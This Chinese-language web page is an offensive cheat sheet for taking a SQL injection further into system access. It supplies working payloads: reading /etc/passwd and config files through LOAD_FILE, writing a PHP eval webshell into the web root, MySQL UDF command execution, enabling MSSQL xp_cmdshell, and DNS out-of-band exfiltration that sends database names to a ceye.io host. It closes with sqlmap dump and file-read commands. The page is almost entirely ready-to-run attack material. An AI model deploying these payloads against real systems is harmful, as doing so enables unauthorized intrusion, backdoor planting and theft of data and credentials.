深
深水提权 · 实战地图
注入拿到后,往系统权限再走一步。
深水 › 权限
权限识别 前置
先问“我是什么身份”再谈下一步
拿数据只是中间态。提权前先确认数据库用户、服务账号、平台,决定能走多远。
三查身份
SELECT user(), @@version, @@datadir;
SELECT @@global.secure_file_priv; # NULL=禁写, 空=随便写, 路径=只能写那儿
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
user() | 当前连接数据库的用户名 | 判权限高低 → 能不能读/写文件、能不能 UDF 提权 |
@@version | MySQL 全局变量:版本号 | 同 version(),间接看是否带平台信息 |
@@datadir | 数据目录 | 写 webshell 的王——先看绝对路径 |
@@global.secure_file_priv | 读写文件权限位 | 等于空才能写文件,否则读文件路线也被卡 |
深水 › 读文件
读文件(load_file) 数据横向
把服务器文件叼出来
有 FILE 权限且 secure_file_priv 允许时,load_file() 能读任意可读文件——源码、配置、密钥。
读常见敏感文件
UNION SELECT LOAD_FILE('/var/www/html/config.php') # 框架/站配置文件
UNION SELECT LOAD_FILE('/etc/passwd') # 系统用户文件
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
LOAD_FILE() | - | - |
绝对路径 | 从根写起 | 读文件必须给完整路径,先探路径再读 |
config.php | 常见敏感点 | 数据库口令/密钥常在此;再顺藤摸源码 |
深水 › 写文件
写文件(INTO OUTFILE) 数据横向
把 webshell 写进服务器
有 FILE 权限
且写路径可写时,INTO OUTFILE 能把查询结果写成文件——最常见用途是写一句话木马。
写 webshell 到 web 根
SELECT '<?php @eval(\$_POST[x]);?>'
INTO OUTFILE '/var/www/html/shell.php' # 先确认 web 根目录可写
注意:先确认存在可写目录(如通过
@@datadir + 报错定位 web 根)。写坏/写不进先回到权限与路径排查。📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
INTO OUTFILE | 把查询结果写成服务器文件 | 写 webshell 的前提;需 file 权限 |
<?php ... ?> | 一句话木马 | 逻辑:先确认能写,再上木马做后门 |
路径 | 写到 web 根才能被访问 | 一般写进 /var/www/html/ 等可访问目录 |
深水 › UDF
UDF 提权(MySQL) 提权
把自己写的函数装进数据库,借它执行系统命令
UDF = 用户自定义函数。把编译好的 udf.dll/so 拷进 MySQL 的 plugin 目录并 CREATE FUNCTION,随后调用该函数即执行系统命令。
UDF 三连
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so';
SELECT sys_exec('id') # 借函数跑系统命令
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
CREATE FUNCTION ... SONAME | 注册 UDF 模块 | 前提:有 FILE 权限且有权限写 plugin 目录 |
sys_exec() | 自定义的系统命令函数 | 由 udf.so/dll 提供;成功后即命令执行 |
条件门槛 | FILE + plugin 可写 | 看不到这条路 → 走读文件/命令执行其他入口 |
深水 › MSSQL
MSSQL 命令执行(xp_cmdshell) 命令执行
一步到位跑系统命令
MSSQL 拿到 SA 权限后,开启 xp_cmdshell 即可执行任意系统命令。
开启并利用
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami' # 一次连接里跑三条
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
sp_configure | 改高级配置开关 | 必须先把 show advanced options 置 1 才能开 xp_cmdshell |
xp_cmdshell | MSSQL 的命令执行扩展 | 默认禁用,先开;返回即命令输出 |
SA 权限 | 最高数据库权限 | 拿不到 SA 就只能走读数据路线 |
深水 › 地图
面对未知的唯一流程 总图
从“一个参数”到“系统权限”的完整决策链
把前面所有招式串成一条不迷路的决策链:每走一步只做一次判断。
流程
①找输入面 → ②闭合探测 → ③认库 → ④选招式(回显/报错/盲注/时间/堆叠) → ⑤取数 → ⑥验权限 → ⑦读/写文件或提权 → ⑧回收&清理。每一步被卡就降级信道或换输入面,永不硬刚。
深水 › 带外
带外注入(OOB / DNS) 偏门
没回显、时间盲注又被卡住时的第三条路
既拿不到回显、时间盲注又被代理/QPS 压死时,让数据库主动发一条 DNS/HTTP 外带:把结果拼进域名子域,在 dnslog / ceye 上收。常见于 MySQL 读文件域、MSSQL 装载路径。
MySQL 借 LOAD_FILE 外带
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.xxxx.ceye.io\\a'));-- - # 一查库名即对 <库名>.xxxx.ceye.io 发起 DNS 解析
MSSQL 借 xp_dirtree 外带
EXEC master..xp_dirtree '\\<data>.xxxx.ceye.io\a' # 强行解析 UNC 路径,照样外带
注意:必须用你自己控制的服务商(dnslog/ceye);只带必要字段,别把整库广播出去。
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
LOAD_FILE() | - | - |
database() | 当前所在的库名 | 拿库名 → 进 information_schema 爆表 → 爆列 → 爆值 |
UNC 路径 \\ 主机\共享 | 服务器会尝试解析的网络路径 | 触发的就是 DNS 请求,数据编码在主机名里 |
dnslog / ceye | 接收外带的监听服务 | 把“数据+特征串”拼成子域,回收解析记录 |
时间盲注失效的场景 | QPS 受限/代理卡死 | OOB 一条请求带回结果,省大量黑白往返 |
深水 › 反馈表
反馈 → 下一步速查 速查
关键时刻抄作业
把最常碰到的“我卡在这儿了”对应到下一步。
深水 › 工具
工具与结业 收尾
把重复劳动交给自动化,脑力留给人
手打盲注终会被工具取代——sqlmap 就是标准答案。但先自己走一遍,才认得它每一步在干嘛。
sqlmap 一键
sqlmap -u "http://x.com/sub?id=350" --batch --dbs # 列库
sqlmap -u "..." --tables -D 库名 --dump # 表–>数据
sqlmap -u "..." --file-read=/etc/passwd # 读文件
提示/要点:对标练习:先说出手动该打哪招,再让工具跑一遍对照。手动能力 + 工具速度 = 成熟渗透。
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
--batch | 不交互、全自动 | 脚本/大批量时避免卡在确认 |
--dbs / -D 库 | 列库 / 选库 | 锁定目标库后再爆表 |
--dump | 导出表数据 | 拿最终数据的好帮手 |
--file-read | 读服务器文件 | 对照深水区读文件招式 |